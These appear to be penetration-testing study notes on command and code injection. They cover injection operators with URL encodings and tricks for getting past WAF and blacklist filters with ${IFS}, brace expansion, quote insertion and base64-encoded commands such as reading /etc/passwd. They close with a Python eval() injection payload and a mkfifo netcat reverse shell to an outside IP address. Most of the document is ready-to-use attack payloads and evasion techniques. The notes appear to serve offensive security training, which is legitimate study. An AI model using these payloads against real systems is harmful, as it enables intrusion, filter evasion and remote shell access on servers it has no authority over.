Allows us to execute system commands directly on the back-end hosting server.
The most common types of injections found in web applications are
- OS Command Injection
- Code Injection
- SQL Injections
- Cross-Site Scripting/HTML Injection
To inject additional comands to the intended one we can sue
| Injection Operator | Injection Character | URL-Encoded Character | Executed Command |
|---|---|---|---|
| Semicolon | ; | %3b | Both |
| New Line | \n | %0a | Both |
| Background | & | %26 | Both (second output generally shown first) |
| Pipe | | | %7c | Both (only second output is shown) |
| AND | && | %26%26 | Both (only if first succeeds) |
| OR | | | %7c%7c | Second (only if first fails) |
| Sub-Shell | `` | %60%60 | Both (Linux-only) |
| Sub-Shell | $() | %24%28%29 | Both (Linux-only) |
We could write expected input then use any of the above operators to write our new command.
Note:
;will not work on the Windows Command Line (CMD) but will work on Windows Powershell.
Frontend input validation can be bypassed by modifying the source code or the request sent to server.
| Injection Type | Operators |
|---|---|
| SQL Injection | ' , ; -- /* */ |
| Command Injection | ; && |
| LDAP Injection | * ( ) & | |
| XPath Injection | ' or and not substring concat count |
| OS Command Injection | ; & | |
| Code Injection | ' ; -- /* */ $() ${} #{} %{} ^ |
| Directory Traversal/File Path Traversal | ../ ..\\ %00 |
| Object Injection | ; & | |
| XQuery Injection | ' ; -- /* */ |
| Shellcode Injection | \x \u %u %n |
| Header Injection | \n \r\n \t %0d %0a %09 |
Filters
If the error message displayed a different page, with information like our IP and our request, this may indicate that it was denied by a WAF
The web application may detect a blacklisted character or detected a blacklisted command or both
Space Filters
If the space is blacklisted we can use tabs (%09) may work for both Linux and Windows. 127.0.0.1%0a%09
Using the ${IFS} Linux Environment variable since it’s default value is a space and a tab. 127.0.0.1%0a${IFS}
Bash Brace Expansion feature automatically adds space between arguments wrapped between braces. A payload would look like 127.0.0.1%0a{ls,-la}
Blacklisted Character Bypass
Linux
Oftentimes the / or \ characters will be blacklisted as it is necessary to specify directories in Linux.
On Linux, we may use Linux Environment Variables again. If we look at ${PATH:0:1} we tell it to use the first character and take a string of length 1. The same can be done with with $HOME and $PWD.
Windows
The same concept applies to WIndows Command Line (CMD). We can echo a Windows variable then specify the stating position and the end position.
echo %HOMEPATH:~6,-11%
# powershell equivalent
$env:HOMEPATH[0]
$env:PROGRAMFILES[10]We can also shift characters. This does an ASCII table lookup and then shift the character by our input.
echo $(tr '!-}' '"-~'<<<[)Command Blacklist
We can inject characters that are ignored by command shells and execute them as if they were not there. ' and " are among some of these characters. We cannot mix types of quotes and the number of quotes must be even.
Linux
On Linux, there are few characters that get ignored by the bash shell. \ and the positional parameter $@. We can also use a command that turns all characters into lower-case
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")
# another example of such a command
$(a="WhOaMi";printf %s "${a,,}")We can also use the rev command
$(rev<<<'imaohw')We can also encode our commands
# encode
echo -n 'cat /etc/passwd | grep 33' | base64
#
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)Bashfuscator is a useful too to use to obfuscate commands.
Windows
Similarly, on Windows, we can use the ^ character. A simple command obfuscation technique is case manipulation, WIndows is case-insensitive.
Similar to Linux, we can use a reverse string
# Powershell sub-shell `iex`
iex "$('imaohw'[-1..-20] -join '')"Same base64 technique used above
# encode
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
# on the victim
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"DOSfuscation is a useful too to use to obfuscate commands.
Code Injection (Python eval())
Code injection differs from OS command injection: user input is evaluated as code in the application’s language. In Python, eval() / exec() are the classic sinks. A common pattern builds an expression by string-formatting unsanitized input:
# vulnerable validation logic
if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400Because the input is concatenated into the evaluated expression, we close the comparison and append arbitrary Python. Use __import__ to reach os.system without an import at module level:
# payload sent as the 'abv' field
__import__('os').system('id')# # trailing # comments out the ' > 1'For a reverse shell, embed the mkfifo payload inside os.system:
__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.147 4444 >/tmp/f')#When delivering such payloads via JSON, quote characters must be escaped for the surrounding transport. The same sink exists for
exec(),pickle.loads(),subprocess(..., shell=True), and Jinja2render_template_string.